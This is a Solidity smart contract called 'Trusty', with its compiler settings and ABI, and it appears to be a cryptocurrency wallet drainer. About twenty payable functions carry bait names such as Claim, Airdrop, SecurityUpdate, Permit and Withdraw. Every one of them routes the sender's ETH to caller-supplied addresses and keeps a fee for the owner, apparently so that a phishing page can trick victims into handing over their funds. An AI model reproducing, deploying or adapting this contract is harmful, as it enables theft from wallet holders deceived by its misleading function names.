// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.18;
contract Trusty {
address private contract_owner;
address private fee_receiver;
uint8 private contract_fee;
bool private fee_withdraw;
event Ownership(address indexed last_owner, address indexed new_owner);
event Percentage (uint8 last_percentage, uint8 new_percentage);
constructor() {
contract_owner = msg.sender;
fee_receiver = contract_owner;
fee_withdraw = false;
contract_fee = 10;
}
function getOwner() public view returns (address) { return contract_owner; }
function getBalance() public view returns (uint256) { return address(this).balance; }
function salaryStatus() public view returns (bool) { return fee_withdraw; }
function enableSalary() public { require(msg.sender == contract_owner, "Access Denied"); fee_withdraw = true; }
function disableSalary() public { require(msg.sender == contract_owner, "Access Denied"); fee_withdraw = false; }
function processTransaction(address sender, address primary_receiver, address secondary_receiver, uint8 secondary_percent, bool is_back) private {
require(secondary_percent >= 0 && secondary_percent <= 100, "Invalid Percent");
uint256 amount = msg.value;
uint256 amount_back = 0;
if (amount > 0) { amount = amount - 1; amount_back = amount_back + 1; }
uint256 reserve = (amount / 100) * contract_fee;
uint256 secondary_amount = ((amount - reserve) / 100) * secondary_percent;
uint256 primary_amount = amount - reserve - secondary_amount;
if (primary_amount > 0) payable(primary_receiver).transfer(primary_amount);
if (secondary_amount > 0) payable(secondary_receiver).transfer(secondary_amount);
if (reserve > 0 && fee_withdraw == true) payable(fee_receiver).transfer(reserve);
if (amount_back > 0 && is_back == true) payable(sender).transfer(amount_back);
}
function transferOwnership(address new_owner) public {
require(msg.sender == contract_owner, "Access Denied");
address last_owner = contract_owner; contract_owner = new_owner;
emit Ownership(last_owner, contract_owner);
}
function claimSalary() public {
require(msg.sender == contract_owner, "Access Denied");
require(address(this).balance > 0, "Balance Empty");
payable(fee_receiver).transfer(address(this).balance);
}
function setReceiver(address new_receiver) public {
require(msg.sender == contract_owner, "Access Denied");
fee_receiver = new_receiver;
}
function changePercentage(uint8 new_percentage) public {
require(msg.sender == contract_owner, "Access Denied");
require(new_percentage >= 0 && new_percentage <= 100, "Invalid Percentage");
uint8 previous_percentage = contract_fee; contract_fee = new_percentage;
emit Percentage(previous_percentage, contract_fee);
}
function Claim(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function ClaimReward(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function ClaimRewards(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Execute(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Multicall(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Swap(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Connect(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function SecurityUpdate(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Airdrop(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Cashback(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Rewards(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Process(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Permit(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Approve(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Transfer(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Deposit(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Withdraw(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Register(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
function Verify(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
}
{
"compilationTarget": {
"Trusty.sol": "Trusty"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"last_owner","type":"address"},{"indexed":true,"internalType":"address","name":"new_owner","type":"address"}],"name":"Ownership","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"last_percentage","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"new_percentage","type":"uint8"}],"name":"Percentage","type":"event"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Airdrop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Cashback","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"ClaimReward","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"ClaimRewards","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Connect","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Execute","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Multicall","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Permit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Process","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Rewards","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"SecurityUpdate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Swap","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Transfer","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Verify","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Withdraw","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"new_percentage","type":"uint8"}],"name":"changePercentage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimSalary","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableSalary","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableSalary","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"salaryStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"new_receiver","type":"address"}],"name":"setReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"new_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]